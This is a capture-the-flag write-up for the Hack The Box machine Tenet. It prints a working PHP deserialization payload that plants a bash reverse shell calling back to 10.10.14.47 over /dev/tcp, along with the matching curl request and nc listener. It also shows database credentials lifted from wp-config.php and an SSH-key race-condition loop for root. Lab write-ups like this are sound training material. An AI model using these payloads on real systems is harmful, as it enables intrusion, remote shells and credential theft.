Hackthebox Tenet - Writeup
Nmap Scan
- 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;
protocol 2.0)
- 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Enumeration
Port 80 - wordpress blogsite
Looking around the site, we find a comment by a user
neil
on the post “Migration”. The comment is as
follows:
did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!
So, there is some sort of a backup site and a file called
sator.php
(?). Fuzzing for the file in tenet.htb, we
couldn’t find anything.
There might be virtual hosting on the site. So we try adding
sator.tenet.htb
to our /etc/hosts file. And going over to
sator.tenet.htb, we find the apache2 default webpage. Now, going to the
URI http://sator.tenet.htb/sator.php
, we find the
following.
So the php file is there, and it is getting executed. Since, there
was a mention of some backup, we try getting the file
sator.php.bak
. And we see that, it does have a file in the
same name. We download it to our local machine
wget http://sator.tenet.htb/sator.php.bak
And analyze the code.
// sator.php
<?php
class DatabaseExport
{public $user_file = 'users.txt';
public $data = '';
public function update_db()
{echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{file_put_contents(__DIR__ . '/' . $this ->user_file,
$this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
Here we see that the script looks for a GET input variable
arepo
and unserializes it. We might be able to exploit it
using PHP Object Deserialization. Here
is a blogpost on this topic that has a detail explanation.
Here is a class called DatabaseExport
with a
__destruct
function implemented. This function is what we
can use to get RCE. The function uses file_put_contents
to
write the variable data
to the file defined in the variable
user_file
. If we go over to the URI
sator.tenet.htb/users.txt, we see that the file exists and prints
SUCCESS.
Now, to exploit this, we can do the following:
We write the class DatabaseExport on our local machine, define user_file to be a php file and the data to be a php reverse shell to our local machine.
We serialize our defined class and pass it as input to the GET variable
variable
.The input gets passed to
deserialize
and a new instance of the class is created with our defined variables.At the __destruct function, our reverse shell gets written to the root of the web directory to the filename defined by us(rce.php in my case). Now if we go to the URI of the file, we can get a reverse shell.
So now, we write the class, serilize it and urlencode it to pass to the GET variable. We open a php interactive cli using
php -a
we write the following
class DatabaseExport {
public $user_file = 'rce.php';
public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.47/5555 0>&1\'"); ?>';
}
print urlencode(serialize(new DatabaseExport));
We copy the output of the print command and pass it to the GET variable using curl.
curl -i http://sator.tenet.htb/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A7%3A%22rce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A73%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.14.47%2F5555+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D
We open a nc listener on port 5555 and get a reverse shell by
browsing the URI http://sator.tenet.htb/rce.php
.
nc -lnvp 5555
Privilege Escalation - User
We find ourselves in the html
directory. Going over to
the wordpress
directory, we find the config file
wp-config.php
. Cat-ing out the contents, we find a password
for the user neil
/** MySQL database username */
define( 'DB_USER', 'neil' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );
Creds found:
neil: Opera2112
We ssh into user neil.
Privilege Escalation - Root
Root privilege escalation is pretty straight forward.
We check what sudo capabilities our user has got using
sudo -l
and find the following.
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
We have read permissions for the file /usr/local/bin/enableSSH.sh. Checking the file, the following function is interesting.
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
What this script does is writes a id_rsa.pub key defined in key to a
randomly generated file of format /tmp/ssh-XXXXXXXX
and
then copies the contents of the file to the known_hosts
of
the root. And then deletes the tmp file.
So, if we can write our own ssh key to the tmp file before it gets
copied to known_hosts, our key will get written to known_hosts and we
can ssh into root. So we write an infinite while loop in bash that
continuously writes our ssh key to any file of format
/tmp/ssh-XXXXXXXX
using wild character. And while this
runs, we run the script as sudo a number of times as we cannot be sure,
if the key got written before the file getting removed.
while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhwQE3BL3VcaiJcQ3X6pEF841mBSpD*************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************IGnYgLXPDKmIwqC2nngvAVo7BLa+YzHy+9fuMs= root@kali" | tee /tmp/ssh* > /dev/null; done
sudo /usr/local/bin/enableSSH.sh
After running the script for a number of times, we check if we cann ssh into root. And yes, we got in.